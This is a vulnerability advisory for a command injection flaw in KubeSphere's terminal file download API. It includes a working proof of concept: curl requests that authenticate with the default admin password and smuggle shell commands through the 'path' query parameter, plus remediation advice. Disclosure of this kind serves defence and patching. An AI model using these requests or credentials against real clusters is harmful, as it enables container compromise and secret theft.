# Remote Code Execution via Command Injection in Terminal File Download Path Parameter Allows Full Container Compromise ## Summary A critical command injection vulnerability exists in the KubeSphere terminal v1alpha2 API. The `/file` download endpoint passes user-controlled input from the `path` query parameter directly into a `sh -c` shell command executed inside the target container via the Kubernetes exec API. An authenticated attacker can achieve remote code execution within any accessible container without explicit authorization checks on the download endpoint. ## Product Information **Vendor:** KubeSphere **Product:** KubeSphere **Affected Versions:** 4.0.0 through 4.1.3-rc.0 **CVSS v3.1:** 9.9 **Severity:** Critical ## Technical Details The `DownloadFile` handler accepts a `path` query parameter (line 380) and passes it unsanitized into two shell commands constructed via `fmt.Sprintf`. These commands are executed inside the target container through the Kubernetes exec API using the ks-apiserver's service account. **File:** `pkg/kapis/terminal/v1alpha2/handler.go` **getFileSize (line 284):** ```go Command: []string{"sh", "-c", fmt.Sprintf("tar cf - %s | wc -c", t.filePath)}, ``` **initReadFrom (line 330):** ```go Command: []string{"sh", "-c", fmt.Sprintf("tar cf - %s | tail -c+%d", t.filePath, n)}, ``` The `filePath` originates from `request.QueryParameter("path")` at line 380. Since the commands run through `sh -c`, shell metacharacters like `;`, `|`, `$()`, `$(())`, and redirection operators `>` allow arbitrary commands to be injected. No input validation, no `filepath.Clean()`, and no allowlist is applied to the input. Additionally, the `DownloadFile` handler (lines 379-399) contains no explicit authorization check — unlike `HandleTerminalSession` which validates `create` permissions on `pods/exec`. The upload and download handlers rely entirely on the global RBAC filter, which defaults to `AlwaysAllow` in default installations. ## Vulnerable Component **Endpoint:** `GET /kapis/terminal.kubesphere.io/v1alpha2/namespaces/{namespace}/pods/{pod}/file` **File:** `pkg/kapis/terminal/v1alpha2/handler.go` **Functions:** `DownloadFile` (379), `getFileSize` (284), `initReadFrom` (330) **Parameter:** `path` (query) ## Reproduction Steps 1. Obtain network access to the KubeSphere API server (port 30880 by default, or via port-forward) 2. Authenticate as a valid KubeSphere user (default admin password `P@88w0rd`) 3. Deploy a target pod or use an existing one 4. Send a crafted GET request with command injection in the `path` parameter 5. Verify code execution inside the container ## Proof of Concept ### Step 1: Acquire Access Port-forward to the ks-apiserver service: ``` kubectl port-forward -n kubesphere-system svc/ks-apiserver 8080:80 ``` ![Terminal 1 - Start Port Forward](https://github.com/ashikmd7/kubeSphere/blob/main/Remote%20Code%20Execution%20via%20Command%20Injection/%5B1%5D%20Terminal%201%20-%20Start%20Port%20Forward.png) ### Step 2: Deploy Victim Pod and Authenticate ``` kubectl run victim-pod --image=nginx:alpine -- sleep 3600 kubectl wait --for=condition=ready pod/victim-pod --timeout=30s ``` Obtain a KubeSphere JWT token using the default admin credentials: ``` KS_TOKEN=$(curl -sk -X POST "http://localhost:8080/oauth/token" \ -d "grant_type=password&username=admin&password=P@88w0rd&client_id=kubesphere&client_secret=kubesphere" \ | jq -r '.access_token') echo $KS_TOKEN ``` ![Deploy Victim Target and Get KubeSphere JWT Token](https://github.com/ashikmd7/kubeSphere/blob/main/Remote%20Code%20Execution%20via%20Command%20Injection/%5B2%5D%20Deploy%20Victim%20Target.png) ![Get KubeSphere JWT Token](https://github.com/ashikmd7/kubeSphere/blob/main/Remote%20Code%20Execution%20via%20Command%20Injection/%5B3%5D%20Get%20KubeSphere%20JWT%20token%20(default%20admin%20password%20P%4088w0rd).png) ### Step 3: Exploit Command Injection The injection payload uses stderr redirection to suppress the tar command output while injecting the attacker's command: ``` path = /dev/null 1>&2;echo PWNED>/tmp/pwned;echo 1024 ``` The resulting shell command inside `getFileSize`: ``` sh -c "tar cf - /dev/null 1>&2;echo PWNED>/tmp/pwned;echo 1024 | wc -c" ``` Shell interpretation: 1. `tar cf - /dev/null 1>&2` : tar runs, its archive data is redirected to stderr (discarded as `Stderr: false` in PodExecOptions) 2. `echo PWNED>/tmp/pwned` : writes the string "PWNED" to `/tmp/pwned` inside the victim container 3. `echo 1024 | wc -c` : outputs `"5\n"` to stdout, satisfying `getFileSize`'s uint64 parsing requirement ``` curl -sk -H "Authorization: Bearer $KS_TOKEN" \ 'http://localhost:8080/kapis/terminal.kubesphere.io/v1alpha2/namespaces/default/pods/victim-pod/file?path=/dev/null%201%3E%262%3Becho%20PWNED%3E/tmp/pwned%3Becho%201024&container=victim-pod' \ -o /tmp/rce.tar -w "\nHTTP %{http_code} Size: %{size_download}\n" ``` ![Write file inside container via command injection](https://github.com/ashikmd7/kubeSphere/blob/main/Remote%20Code%20Execution%20via%20Command%20Injection/%5B4%5D%20write%20file%20inside%20container%20via%20command%20injection.png) ### Step 4: Verify Remote Code Execution Confirm the file was written inside the container: ``` kubectl exec victim-pod -- cat /tmp/pwned ``` Output: ``` PWNED ``` Execute `id` and read the result to prove full command execution: ``` curl -sk -H "Authorization: Bearer $KS_TOKEN" \ 'http://localhost:8080/kapis/terminal.kubesphere.io/v1alpha2/namespaces/default/pods/victim-pod/file?path=/dev/null%201%3E%262%3Bid%3E/tmp/pwned%3Becho%201024&container=victim-pod' \ -o /tmp/rce2.tar kubectl exec victim-pod -- cat /tmp/pwned ``` Output: ``` uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) ``` ![Verifying critical RCE - reading id output](https://github.com/ashikmd7/kubeSphere/blob/main/Remote%20Code%20Execution%20via%20Command%20Injection/%5B5%5D%20Verifying%20critical%20RCE%20-%20reading%20id.png) ## Impact An authenticated attacker with network access to the KubeSphere API server can execute arbitrary commands inside any accessible container. This enables container compromise, mounted Kubernetes secret exfiltration, service account token theft, pod-to-cluster privilege escalation via node hostPath volumes, and lateral movement through the internal network. The command executes as root inside the container (typically the container's default user), and the ks-apiserver's service account is used for the exec call, meaning no additional RBAC bypass is required. ## Remediation 1. Replace shell-based execution with direct tar argument invocation: ```go Command: []string{"tar", "cf", "-", filePath} ``` 2. Validate the filePath with `filepath.Clean()` and ensure it resolves to an allowed directory 3. Add explicit authorization checks for `pods/exec` create permission on the download and upload endpoints 4. Sanitize and validate all user-controlled inputs in terminal-related handlers ``` This vulnerability was discovered by Ashik Mohamed (ashikmd7) on 22/07/2026 ```